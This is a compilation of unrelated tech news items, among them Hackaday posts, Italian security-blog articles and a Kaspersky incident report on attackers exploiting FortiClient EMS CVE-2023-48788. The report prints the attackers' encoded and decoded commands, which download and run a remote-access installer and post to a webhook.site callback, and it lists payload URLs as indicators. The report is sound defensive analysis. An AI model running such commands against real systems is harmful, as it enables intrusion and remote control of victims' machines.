What’s the best way to measure the depth of a well using a smartphone? If you’re fed up with social media, you might kill two birds with one stone and drop the thing down the well and listen for the splash. But if you’re looking for a less intrusive — not to mention less expensive — method, you could also use your phone to get the depth acoustically.

This is a quick hack that [Practical Engineering Solutions] came up with to measure the distance to the surface of the water in a residential well, which we were skeptical would work with any precision due to its deceptive simplicity. All you need to do is start a sound recorder app and place the phone on the well cover. A few taps on the casing of the well with a hammer send sound impulses down the well; the reflections from the water show up in the recording, which can be analyzed in Audacity or some similar sound editing program. From there it’s easy to measure how long it took for the echo to return and calculate the distance to the water. In the video below, he was able to get within 3% of the physically measured depth — pretty impressive.

Of course, a few caveats apply. It’s important to use a dead-blow hammer to avoid ringing the steel well casing, which would muddle the return signal. You also might want to physically couple the phone to the well cap so it doesn’t bounce around too much; in the video it’s suggested a few bags filled with sand as ballast could be used to keep the phone in place. You also might get unwanted reflections from down-hole equipment such as the drop pipe or wires leading to the submersible pump.

Sources of error aside, this is a clever idea for a quick measurement that has the benefit of not needing to open the well. It’s also another clever use of Audacity to use sound to see the world around us in a different way.

youtube.com/embed/LTzlVsm6dhE?…

hackaday.com/2024/12/19/measur…

We talk a lot about patent disputes in today’s high-tech world. Whether it’s Wi-Fi, 3D printing, or progress bars, patent disputes can quickly become big money—for lawyers and litigants alike.

Where we see less of this, typically, is the world of sports. And yet, a recent football innovation has seen plenty of conflict in this very area. This is the controversial story of vanishing spray.

Patently Absurd

Vanishing spray has quickly become a common sight on the belts of professional referees. Credit: Balkan Photos, CC BY-SA 2.0
You might have played football (soccer) as a child, and if that’s the case, you probably don’t remember vanishing spray as a key part of the sport. Indeed, it’s a relatively modern innovation, which came into play in international matches from 2013. The spray allowed referees to mark a line with a sort of disappearing foam, which could then be used to enforce the 10-yard distance between opposing players and the ball during a free kick.

The product is a fairly simple aerosol—the cans contain water, butane, a surfactant, vegetable oil, and some other minor constituents. When the aerosol nozzle is pressed, the liquified butane expands into a gas, creating a foam with the water and surfactant content. This creates an obvious white line that then disappears in just a few minutes.

The spray was created by Brazilian inventor Heine Allemagne in 2000, and was originally given the name Spuni. He filed a patent in 2000, which was then granted in 2002. It was being used in professional games by 2001, and quickly adopted in the mainstream Brazilian professional competition.

The future looked bright for Allemagne and his invention, with the Brazilian meeting with FIFA in 2012 to explore its use at the highest level of international football. In 2013, FIFA adopted the use of the vanishing spray for the Club World Cup. It appeared again in the 2014 World Cup, and many competitions since. By this time, it had been renamed “9.15 Fair Play,” referring to the metric equivalent of the 10-yard (9.15 meter) distance for free kicks.
After its first use by FIFA, the use of vanishing spray quickly spread to other professional competitions, making its first appearance in the Premier League in 2014. Credit: Egghead06, CC BY-SA 4.0
The controversy came later. Allemagne would go on to publicly claim that the global sporting body had refused to pay him the agreed price for his patent. He would go on to tell the press he’d knocked back an initial offer of $500,000, with FIFA later agreeing to pay $40 million for the invention. Only, the organization never actually paid up, and started encouraging the manufacture of copycat products from other manufacturers. In 2017, the matter went to court, with a Brazilian ruling acknowledging Allemagne’s patent. It also ordered FIFA to stop using the spray, or else face the risk of fines. However, as is often the way, FIFA repeatedly attempted to appeal the decision, raising questions about the validity of Allemagne’s patent.

The case has languished in the legal system for years since. In 2020, one court found against Allemagne, stating he hadn’t proven that FIFA had infringed his products or that he had suffered any real damages. By 2022, that had been overturned on appeal to a higher court, which found that FIFA had to pay material damages for their use of vanishing spray, and for the loss of profits suffered by Allemagne. The latest development occurred earlier this year, with the Superior Court of Justice ruling that FIFA must compensate Allemagne for his invention. In May, CNN reported that he expected to receive $40 million as a result of the case, with all five ministers on the Superior Court ruling in his favor.

Ultimately, vanishing spray is yet another case of authorities implementing ever-greater control over the world of football. It’s also another sad case of an inventor having to fight to receive their due compensation for an innovative idea. What seems like an open-and-shut case nevertheless took years to untangle in the courts. It’s a shame, because what should be a simple and tidy addition to the world of football has become a mess of litigation that cost time, money, and a great deal of strife. It was ever thus.

Featured Image: Вячеслав Евдокимов, CC BY-SA 3.0

hackaday.com/2024/12/19/the-ba…

If you program in C, strings are just in your imagination. What you really have is a character pointer, and we all agree that a string is every character from that point up until one of the characters is zero. While that’s simple and useful, it is also the source of many errors. For example, writing a 32-byte string to a 16-byte array or failing to terminal a string with a zero byte. [Thasso] has been experimenting with a different way to represent strings that is still fairly simple but helps keep things straight.

Like many other languages, this setup uses counted strings and string buffers. You can read and write to a string buffer, but strings are read-only. In either case, there is a length for the contents and, in the case of the buffer, a length for the entire buffer.

We’ve seen schemes like this before and [Thasso] borrowed the idea from [Chris Wellons]. The real issue, of course, is that you now have to rewrite or wrap any “normal” C functions you have that take or return strings. We’ve also seen this done where the length is stored ahead of the string so you don’t have a field for the character pointer:

struct str
{
sz len;
char dat[0];
};

Even though the prototypical structure has a zero length, the actual structure can be larger.

If you are worried about efficiency, [Thasso] and [Wellons] both point out that modern compilers are good at handling small structures, so maybe that’s an advantage to not putting the data directly into the struct. If you need characters larger than one byte, the [Wellons] post has some thoughts on that, too.

This is all old hat on C++, of course. No matter how you encode your strings, you should probably avoid the naughty ones. Passwords, too.

hackaday.com/2024/12/19/better…

Recently there was a bit of a panic in the media regarding a very common item in kitchens all around the world: black plastic utensils used for flipping, scooping and otherwise handling our food while preparing culinary delights. The claim was that the recycled plastic which is used for many of these utensils leak a bad kind of flame-retardant chemical, decabromodiphenyl ether, or BDE-209, at a rate that would bring it dangerously close to the maximum allowed intake limit for humans. Only this claim was incorrect because the researchers who did the original study got their calculation of the intake limit wrong by a factor of ten.

This recent example is emblematic of how simple mistakes can combine with a reluctance to validate conclusions can lead successive consumers down a game of telephone where the original text may already have been wrong, where each node does not validate the provided text, and suddenly everyone knows that using certain kitchen utensils, microwaving dishes or adding that one thing to your food is pretty much guaranteed to kill you.

How does one go about defending oneself from becoming an unwitting factor in creating and propagating misinformation?

Making Mistakes Is Human

We all make mistakes, as nobody of us is perfect. Our memory is lossy, our focus drifts, and one momentary glitch is all it takes to make that typo, omit carrying the one, or pay attention to the road during that one crucial moment. As a result we have invented many ways to compensate for our flawed brains, much of it centered around double-checking, peer-validation and ways to keep an operator focused with increasingly automated means to interfere when said operator did not act in time.

The error in the black plastic utensils study is an example of what appears to be an innocent mistake that didn’t get caught before publication, and then likely the assumption was made by media publications – as they rushed to get that click-worthy scoop written up – that the original authors and peer-review process had caught any major mistakes. Unfortunately the original study by Megan Liu et al. in Chemosphere listed the BDE-209 reference dose for a 60 kg adult as 42,000 ng/day, when the reference dose per kg body weight is 7,000 ng.

It doesn’t take a genius to see that 60 times 7,000 makes 420,000 ng/day, and as it’s at the core of the conclusion being drawn, it ought to have been checked and double-checked alongside the calculated daily intake from contaminated cooking utensils at 34,700 ng/day. This ‘miscalculation’ as per the authors changed the impact from a solid 80% of the reference dose to not even 10%, putting it closer to the daily intake from other sources like dust. One factor that also played a role here, as pointed out by Joseph Brean in the earlier linked National Post article, is that the authors used nanograms, when micrograms would have sufficed and cut three redundant zeroes off each value.
Stroop task comparison. Naming the colors become much harder when the text and color do not match.
Of note with the (human) brain is that error detection and correction are an integral part of learning, and this process can be readily detected with an EEG scan as an event-related potential (ERP), specifically an error-related negativity (ERN). This is something that we consciously experience as well, such as when we perform an action like typing some text and before we have a chance to re-read what we wrote we already know that we made a mistake. Other common examples include being aware of misspeaking even as the words leave your mouth and that sense of dread before an action you’re performing doesn’t quite work out as expected.

An interesting case study here involves these ERNs in the human medial frontal cortex as published in Neuron back in 2018 by Zhongzheng Fu et al. (with related Cedars-Sinai article). In this experimental setup volunteers were monitored via EEG as they were challenged with a Stroop task. During this task the self-monitoring of errors plays a major role as saying the word competes with saying the color, a struggle that’s visible in the EEG and shows the active error-correcting neurons to be located in regions like the dorsal anterior cingulate cortex (dACC). A good explanation can be found in this Frontiers for Young Minds article.

The ERN signal strength changes with age, becoming stronger as our brain grows and develops, including pertinent regions like the cingulate cortex. Yet as helpful as this mechanism is, mistakes will inevitably slip through and is why proofreading text requires a fresh pair of eyes, ideally a pair not belonging to the person who originally wrote said text, as they may be biased to pass over said mistakes.

Cognitive Biases

Although there is at this point no evidence to support the hypothesis that we are just brains in jars gently sloshing about in cerebrospinal fluid as sentient robots feed said brains a simulated reality, effectively this isn’t so far removed from the truth. Safely nestled inside our skulls we can only obtain a heavily filtered interpretation of the world around us via our senses, each of which throw away significant amounts of data in e.g. the retina before the remaining data percolates through their respective cortices and subsequent neural networks until whatever information is left seeps up into the neocortex where our consciousness resides as a somewhat haphazard integration of data streams.
The microwave oven, an innocent kitchen appliance depending on who you ask. (Credit: Mrbeastmodeallday, CC BY-SA 4.0)
Along the way there are countless (subconscious) processes that can affect how we consciously experience this information seepage. These are collectively called ‘cognitive biases‘, and include common types like confirmation bias. This particular type of bias is particularly prevalent as humans appear to be strongly biased towards seeking out confirmation of existing beliefs, rather than seeking out narratives that may challenge said beliefs.

Unsurprisingly, examples of confirmation bias are everywhere, ranging from the subtle (e.g. overconfidence and faulty reasoning in e.g. diagnosing a defect) to the extreme, such as dogmatic beliefs affecting large groups where any challenge to the faulty belief is met by equally extreme responses. Common examples here are anti-vaccination beliefs – where people will readily believe that vaccines cause everything from cancer to autism – and anti-radiation beliefs which range from insisting that electromagnetic radiation from powerlines, microwave ovens, WiFi, etc. is harmful, to believing various unfounded claims about nuclear power and the hazards of ionizing radiation.

In the case of our black plastic kitchen utensils some people in the audience likely already had a pre-existing bias towards believing that plastic cooking utensils are somehow bad, and for whom the faulty calculation thus confirmed this bias. They would have had little cause to validate the claim and happily shared it on their social media accounts and email lists as an irrefutable fact, resulting in many of these spatulas and friends finding themselves tossed into the bin in a blind panic.

Trust But Verify

Obviously you cannot go through each moment of the day validating every single piece of information that comes your way. The key here is to validate and verify where it matters. After reading such an alarmist article about cooking utensils in one’s local purveyor of journalistic integrity and/or social media, it behooves one to investigate these claims and possibly even run the numbers oneself, before making your way over to the kitchen to forcefully rip all of those claimed carriers of cancer seeds out of their respective drawers and hurling them into the trash bin.

The same kind of due diligence is important when a single, likely biased source makes a particular claim. Especially in this era where post-truth often trumps intellectualism, it’s important to take a step back when a claim is made and consider it in a broader context. While this miscalculation with flame-retardant levels in black kitchen utensils won’t have much of an impact on society, the many cases of clear cognitive bias in daily life as well as their exploitation by the unscrupulous brings to mind Carl Sagan’s fears about a ‘celebration of ignorance’ as expressed in his 1995 book The Demon-Haunted World: Science as a Candle in the Dark.

With a populace primed to respond to every emotionally-charged sound bite, we need these candles more than ever.

hackaday.com/2024/12/19/human-…

Nel mondo delle app, la leggerezza dovrebbe essere un obiettivo primario, soprattutto per le applicazioni bancarie che gestiscono informazioni sensibili. Eppure, l’analisi condotta da Emerge Tools ha svelato un’anomalia preoccupante: l’app di Banca Intesa per iOS occupa ben 700 MB di spazio, un valore abnorme per un’app di questo tipo.

Un’app che, oltre a essere troppo “pesante”, nasconde anche una curiosa e potenzialmente problematica scoperta: un misterioso file audio denominato “rutto.mp3”.

Bloatware e Sicurezza

Nel contesto delle applicazioni bancarie, la sicurezza è fondamentale. Ma la dimensione e l’architettura dell’app hanno un impatto diretto anche sulle performance di sicurezza. Con un 64% dello spazio occupato da framework dinamici, il codice diventa vulnerabile a exploit se non ottimizzato correttamente.

Framework di grandi dimensioni e codice non necessario sono una porta aperta per potenziali attacchi, oltre ad aggravare la gestione delle risorse e la stabilità dell’app.

L’inclusione di file di dimensioni non giustificate, come il ridondante “rutto.mp3”, sebbene apparentemente innocuo, suggerisce una mancanza di rigore nella gestione dei contenuti. Tutto questo potrebbe essere un campanello d’allarme per gli esperti di sicurezza, che devono considerare anche i rischi derivanti da file non strettamente necessari.

Se un’app non è in grado di gestire correttamente file o risorse di minore impatto, come possiamo aspettarci che gestisca adeguatamente dati sensibili o transazioni finanziarie?

Il pericolo del Bloatware

Questo episodio di bloatware, dove l’applicazione cresce senza controllo, non è un caso isolato. Con l’inserimento di nuove funzionalità senza un’adeguata razionalizzazione del codice esistente, le app diventano sempre più difficili da manutenere e vulnerabili a possibili attacchi. Il bloatware non solo rallenta i dispositivi e peggiora l’esperienza utente, ma aumenta anche la superficie di attacco. Ogni nuova funzionalità non ottimizzata è un’opportunità in più per gli hacker criminali di sfruttare eventuali vulnerabilità.

La gestione delle risorse in modo efficiente non è solo una questione di prestazioni, ma una parte integrante della sicurezza complessiva dell’app. Il codice superfluo e non verificato potrebbe infatti mascherare potenziali minacce.

Non si tratta quindi solo di prestazioni e sicurezza: il bloatware, se non gestito adeguatamente, può compromettere anche l’immagine di un’azienda. Un’app troppo pesante o poco ottimizzata può far sorgere dubbi nei consumatori riguardo alla competenza tecnica dell’azienda. Per una banca, questo significa mettere a rischio la fiducia degli utenti, che potrebbero chiedersi se anche la sicurezza delle loro informazioni sia trattata con la stessa disattenzione.

Conclusione

Per Banca Intesa, e per tutte le aziende che sviluppano app, l’adozione di una strategia focalizzata sull’efficienza e sulla sicurezza, eliminando il codice e i file inutili, è essenziale. Un’app ottimizzata non solo migliora l’esperienza dell’utente, ma riduce anche le superfici di attacco, limitando il rischio di vulnerabilità.

Eliminare elementi superflui, come il famoso “rutto.mp3”, non sarebbe solo un segno di attenzione verso gli utenti, ma un passo verso una sicurezza più solida e una maggiore efficienza operativa.

Come nostra consuetudine, lasciamo sempre spazio ad un commento da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

L'articolo L’App di Banca Intesa e il Misterioso “rutto.mp3”: Un Caso di Bloatware Che Porta a Riflessioni proviene da il blog della sicurezza informatica.

Introduction

During a recent incident response, Kaspersky’s GERT team identified a set of TTPs and indicators linked to an attacker that infiltrated a company’s networks by targeting a Fortinet vulnerability for which a patch was already available.

This vulnerability is an improper filtering of SQL command input making the system susceptible to an SQL injection. It specifically affects Fortinet FortiClient EMS versions 7.0.1 to 7.0.10 and 7.2.0 to 7.2.2. When successfully exploited, this vulnerability allows attackers to execute unauthorized code or commands by sending specially crafted data packets.

The affected system was a Windows server exposed to the internet, with only two ports open. The targeted company employs this technology to allow employees to download specific policies to their corporate devices, granting them secure access to the Fortinet VPN.

Open ports exposed to the Internet

Identification and containment

In October 2024, telemetry alerts from our MDR technology revealed attempts by an internal IP address to access registry hives via an admin account on a customer’s Windows server. The IP address where the requests originated was part of the customer’s network but it was not covered by the MDR solution according to the customer’s assessment. These attempts also targeted administrative shares, including the following.

• \\192.168.X.X\C$\Users;
• \\192.168.X.X\C$\;
• \\192.168.X.X\IPC$\srvsvc;
• \\192.168.X.X\IPC$\svcctl;
• \\192.168.X.X \IPC$\winreg;
• \\192.168.X.X \ADMIN$\SYSTEM32\WqgLtykM.tmp;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\DPAPI Master Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\User Keys;
• \\192.168.X.X \C$\Windows\System32\Microsoft\Protect\Protected Credentials.

Locally, on the machine with the compromised IP address, several attempts were made to dump the HKLM\SAM and HKLM\SECURITY registry hives via the Remote Registry service.
C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry
Evidence also confirmed multiple failed login attempts reported by Kaspersky MDR, which originated from the same internal IP address on multiple hosts that used an administrator account.

Analysis and initial vector

By collecting the evidence of the remote activities mentioned above from the source server, we confirmed that this server was exposed to the internet, with two open ports associated with FortiClient EMS. Filesystem artifacts confirmed the execution of remote monitoring and management (RMM) tools, such as ScreenConnect and AnyDesk. Given the use of the FortiClient EMS technology, it was confirmed that the installed version (7.01) was vulnerable to CVE-2023-48788, so it was necessary to get additional evidence from system logs to explore possible exploitation artifacts. Below are two key paths where the logs can be found.

• FortiClient Log – C:\Program Files\Fortinet\FortiClientEMS\logs\*
  
  • Relevant files:
    
    • ems.log: This is the main log for FortiClient EMS. It can point to unusual behavior, database errors, unauthorized access or injection attempts.
    • sql_trace.log or similar logs: If this file is present, it may contain detailed information about SQL queries that have been run. This log can be reviewed for unexpected or malformed queries, which could indicate an attempt at SQL injection.

    
    

  
  

• MS SQL – C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\*
  
  • These logs are associated with MS SQL Server as used by FortiClient EMS.

  
  

We were able to discover the evidence of an SQL injection that the attacker had successfully performed in one of the ERRORLOG files at the second path, C:\Program Files\Microsoft SQL Server\MSSQL14.FCEMS\MSSQL\Log\ERRORLOG.X.

Evidence of the CVE-2023-48788 exploitation

By reviewing Kaspersky telemetry data associated with the same verdict, GERT experts were able to identify the commands executed by the attackers using a set of instructions contained in a Base64-encoded URL that matched the activities identified in the analyzed system.
Filename c:\program files\microsoft sql
server\mssql14.fcems\mssql\binn\sqlservr.exe
[19:40:10.147][2472][3268]PDMCreateProcess("$system32\cmd
.exe",""$system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE
/C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%7
0%64%61%74%65%2E%65%78%65%20%22%68%74%74%70%73%3A%2F%2F%69%6E%66%69%6E%69%74%7
9%2E%73%63%72%65%65%6E%63%6F%6E%6E%65%63%74%2E%63%6F%6D%2F%42%69%6E%2F%53%63%7
2%65%65%6E%43%6F%6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%74%75%70%2E%65%78%6
5%3F%65%3D%41%63%63%65%73%73%26%79%3D%47%75%65%73%74%22%20%26%20%73%74%61%72%7
4%20%2F%42%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65"""))"""
The decoded code is as follows.
curl -o C:\update.exe
"https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access
&y=Guest" & start /B C:\update.exe
The attackers took advantage of the curl command to download an installer for the ScreenConnect remote access application. We also observed the use of the Windows native binary
certutil for the same purpose. The installer would be stored as update.exe in the root of the C: drive, which would then be executed in the background. Judging by the y=Guest parameter in the URL query, the attackers seemingly relied on a ScreenConnect trial license.
We found that after the initial installation, the attackers began to upload additional payloads to the compromised system, to begin discovery and lateral movement activities, such as enumerating network resources, trying to obtain credentials, perform defense evasion techniques and generating a further type of persistence via the AnyDesk remote control tool. The payloads we discovered are provided in the table below.

After confirming the exploitation success, we managed to collect additional evidence. By analyzing AnyDesk logs, we managed to get an IP address used in the intrusion.

C:\ProgramData\AnyDesk\ad_svc.trace — AnyDesk connections

According to cyberthreat intelligence resources, this IP address belongs to the Russian region and has been flagged as part of a network linked to a malicious campaign that abused Cobalt Strike.

Analysis of telemetry data for similar threat-related cases

Our telemetry data revealed that threat actors have been targeting various companies and consistently altering ScreenConnect subdomains, seemingly changing them regardless of the specific target.

In addition to the above behavior, GERT experts spotted attempts to download and execute various payloads from additional unclassified external resources that had been used in other exploitation incidents. This strongly indicates that other attackers have been abusing the same vulnerability with a different second-stage payload aimed at multiple targets.

As for the regions and countries impacted by attempts to exploit this vulnerability with other payloads, we can confirm that this threat does not target specific locations, although we’ve observed a minor bias towards South America (5 out of 15 attacks).

Countries targeted by additional malicious payloads, April–November 2024 (download)

An ever-evolving “approach” to abusing the vulnerability in similar incidents

While further tracking this threat on October 23, 2024, GERT analysts detected active attempts to exploit CVE-2023-48788 in the wild by executing a similar command. At that point, the activity involved a free service provided by the webhook.site domain.
"C:\Windows\system32\cmd.exe" /c POWERSHELL.EXE -COMMAND ""ADD-
TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C
([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6f%77%65%72%73%68%65%6
c%6c%20%2d%63%20%22%69%77%72%20%2d%55%72%69%20%68%74%74%70%73%3a%2
f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%32%37%38%66%58%58%58%5
8%2d%63%61%33%62%2d[REDACTED]%2d%39%36%65%34%2d%58%58%58%58%34%35%
61%61%36%38%30%39%20%2d%4d%65%74%68%6f%64%20%50%6f%73%74%20%2d%42%
6f%64%79%20%27%74%65%73%74%27%20%3e%20%24%6e%75%6c%6c%22"""))""
When decoded, it turned out to be a command chain with a final PS1 command in it.
cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri
hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body
'test' > $null"
According to information from webhook.site, the service “generates free, unique URLs and email addresses and lets you see everything that’s sent there instantly”. The uniqueness is guaranteed by a generated token included in the URL, email address or DNS domain. Users can enable the service for free or include additional services and features for a fee.

Webhook.site website

GERT experts confirmed that the threat actor was using this service to collect responses from vulnerable targets while performing a scan of the systems affected by the FortiClient EMS vulnerability. Knowing the specific webhook.site token used by the attackers, we were able to identify 25 requests to webhook.site during five hours on October 23. Of these, 22 originated from the distinct source IPs of vulnerable targets located in 18 different countries, and three more requests came from the same source, highlighted in red below.

Countries targeted by additional malicious activity on October 23, 2024 (download)

Three requests originated from the same IP address 135.XXX.XX.47 located in Germany and hosted by Hetzner Online GmbH. This IP has a bad reputation and was associated with an infostealer threat in October and November of last year, although we are not sure that this address has been abused by the threat actor or is part of their network. This host is showing open ports 80 and 7777 with an HTTP service on port 80 and an SSL service on port 7777.

A web interface for PRTG Network Monitor 24.1.92.1554 x64 is hosted on port 80 with what seems to be the default configuration and a PRTG Freeware trial license that expired on October 24, 2020.

PRTG Network Monitor enabled on the suspicious host

The common name for the SSL certificate on port 7777 is WIN-LIVFRVQFMKO. Threat intelligence analysis has indicated that this host is known to be used frequently by various threat actors, among them the Conti and LockBit ransomware groups. However, it could also be a default Windows OS template hostname used by the hosting provider Hetzner.

SSL certificate on port 7777 of a suspicious host

Multiple successful attempts to access webhook.site and several suspicious variations discovered in the HTTP POST content led GERT analysts to believe that this host could be a “deprecated PRTG installation” compromised and controlled by the attacker in some way, and used to test the service provided by webhook.site.

Tactics, techniques and procedures

Below are the TTPs identified from our analysis and detections.

Conclusion

The analysis of this incident helped us to establish that the techniques currently used by the attackers to deploy remote access tools are constantly being updated and growing in complexity. Although the vulnerability in question (CVE-2023-48788) had been patched by the time of the attacks, we suggest that multiple threat actors were able to exploit it, endangering a large number of users across various regions. That serves as a stark reminder of the need to constantly update technologies — to versions 7.0.11–7.0.13 or 7.2.3 and later in case of FortiClient EMS — that remain exposed to the internet, as this can serve as an initial vector for a cyberincident. Implementing alert notifications and patch management for any application with direct or indirect public access complements the regular update process.

In order to prevent and defend against attacks like these, we strongly recommend always installing an EPP agent on every host running an OS — even if it’s used with a specific role — and configuring additional controls like Application Control to block the execution of legitimate tools if abused by threat actors. It is worth pointing out that an MDR implementation on computers adjacent to the initial vector was able to detect and block attackers in a timely manner, preventing them from achieving their ultimate objectives or causing major impact within the victim’s environment. Also, installing agents that constantly monitor and detect threats on computers can be a key factor in containing the threat during an incident.

Indicators of Compromise

Applications/Filenames from the incident

C:\update.exe
HRSword.exe
Mimik!!!.exe
br.exe
donpapi.exe
netpass64.exe
webbrowserpassview.exe
netscan.exe
connectwise / ScreenConnect
AnyDesk

HASH – SHA1 from the incident

8cfd968741a7c8ec2dcbe0f5333674025e6be1dc
441a52f0112da187244eeec5b24a79f40cc17d47
746710470586076bb0757e0b3875de9c90202be2
bc29888042d03fe0ffb57fc116585e992a4fdb9b
73f8e5c17b49b9f2703fed59cc2be77239e904f7
841fff3a36d82c14b044da26967eb2a8f61175a8
34162aaf41c08f0de2f888728b7f4dc2a43b50ec
cf1ca6c7f818e72454c923fea7824a8f6930cb08
e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69
59e1322440b4601d614277fe9092902b6ca471c2
75ebd5bab5e2707d4533579a34d983b65af5ec7f
83cff3719c7799a3e27a567042e861106f33bb19
44b83dd83d189f19e54700a288035be8aa7c8672
8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8

Domains / IP addresses from the incident

45.141.84[.]45
infinity.screenconnect[.]com
kle.screenconnect[.]com
trembly.screenconnect[.]com
corsmich.screenconnect[.]com

Domains / IP addresses from additional malicious payloads discovered

185.216.70.170:1337
hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw
HXXP://148.251.53.222:14443/SETUP.MSI
hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8
hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4
HXXP://185.216.70.170/OO.BAT
HXXP://185.216.70.170/HELLO
HXXP://185.216.70.170/A
hxxp://185.216.70.170
hxxp://185.216.70.170/oo.bat
hxxp://185.216.70.170/hello
hxxp://185.216.70.170/sos.txt
hxxp://185.216.70.170/72.bat
hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w
qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun
hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe
hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe
hxxps://www.lidahtoto2.com/assets/im.ps1
hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe

securelist.com/patched-forticl…

Energy harvesting, the practice of scavenging ambient electromagnetic fields, light, or other energy sources, is a fascinating subject that we don’t see enough of here at Hackaday. It’s pleasing then to see [Jeff Keacher]’s Christmas card: it’s a PCB that lights up some LEDs on a Christmas tree, using 2.4 GHz radiation, and ambient light.

The light sensors are a set of LEDs, but the interesting part lies in the RF harvesting circuit. There’s a PCB antenna, a matching network, and then a voltage multiplier using dome RF Schottky diodes. These in turn charge a supercapacitor, but if there’s not enough light a USB power source can also be hooked up. All of this drives a PIC microcontroller, which drives the LEDs.

Why a microcontroller, you ask? This card has an interesting trick up its sleeve, despite having no WiFi of its own, it can be controlled over WiFi. If the 2.4 GHz source comes via proximity to an access point, there’s a web page that can be visited with a script generating packets in bursts that produce a serial pulse train on the DC from the power harvester. The microcontroller can see this, and it works as a remote. This is in our view, next-level.

hackaday.com/2024/12/19/where-…

Recentemente, il governo russo ha preso una decisione che ha che ha suscitato grande attenzione a livello internazionale: ha etichettato ufficialmente la compagnia di intelligence sulle minacce informatiche (CTI) Recorded Future come “indesiderabile”. Per l’azienda, questa etichetta non è un castigo, ma piuttosto un segno di onore, come sottolineato dallo stesso CEO, Christopher Ahlberg.

L’etichetta di “indesiderabile” è una terminologia ufficiale adottata dalla Russia per sanzionare enti che non rientrano nei suoi favori, impedendo loro di operare nel paese o interagire con aziende e individui russi. Introdotta nel 2015, questa misura ha lo scopo di limitare l’influenza di organizzazioni non governative (ONG), media e altri membri della società civile che mettono in luce le violazioni dei diritti umani e criticano il regime di Vladimir Putin, noto per il suo autoritarismo.

Recorded Future è la prima organizzazione di sicurezza informatica a ricevere questa nomina, e una delle poche aziende a “guadagnarsela”. Tuttavia, l’ufficio del Procuratore Generale della Federazione Russa ha erroneamente etichettato l’azienda come un’ONG, nel suo annuncio del 18 dicembre riguardo alla “designazione indesiderabile”. Tra le presunte colpe che hanno portato a questa decisione ci sono: il finanziamento da parte di aziende americane, la fornitura di servizi di ricerca, elaborazione e analisi di dati, inclusi quelli provenienti dal Dark Web, la “specializzazione nelle minacce informatiche” e l’interazione attiva con la CIA e altri servizi di intelligence stranieri.

Inoltre, il Procuratore Generale ha accusato Recorded Future di diffondere “propaganda” e di essere coinvolta in “campagne informative offensive” riguardo alla guerra in Ucraina, monitorando le attività dell’esercito russo e alimentando le autorità ucraine con informazioni riservate.

Nonostante le accuse, Christopher Ahlberg ha reagito positivamente alla notizia, postando su X: “Alcune cose nella vita sono complimenti rari. Questa lo è.“

Questa mossa da parte della Russia arriva in un momento in cui Recorded Future sta per essere acquisita da Mastercard per 2,65 miliardi di dollari, dimostrando ancora una volta l’importanza strategica dell’azienda nel panorama globale della cyber security. La decisione del governo russo di etichettarla come indesiderabile non fa che evidenziare il peso e la rilevanza che l’azienda ha acquisito nel monitoraggio delle minacce informatiche globali e nella lotta contro la disinformazione.

L'articolo Russia etichetta Recorded Future come “Indesiderabile”: un vanto per il CEO proviene da il blog della sicurezza informatica.

In questi giorni, alcuni Carabinieri del Centro Cinofili di Firenze sono impegnati in Iraq in una attività formativa a favore della Direzione Anti Narcotici e Sostante Psicoattive del Ministero dell'Interno iracheno, nell'ambito del progetto EU-ACT finanziato dall'Unione Europea.

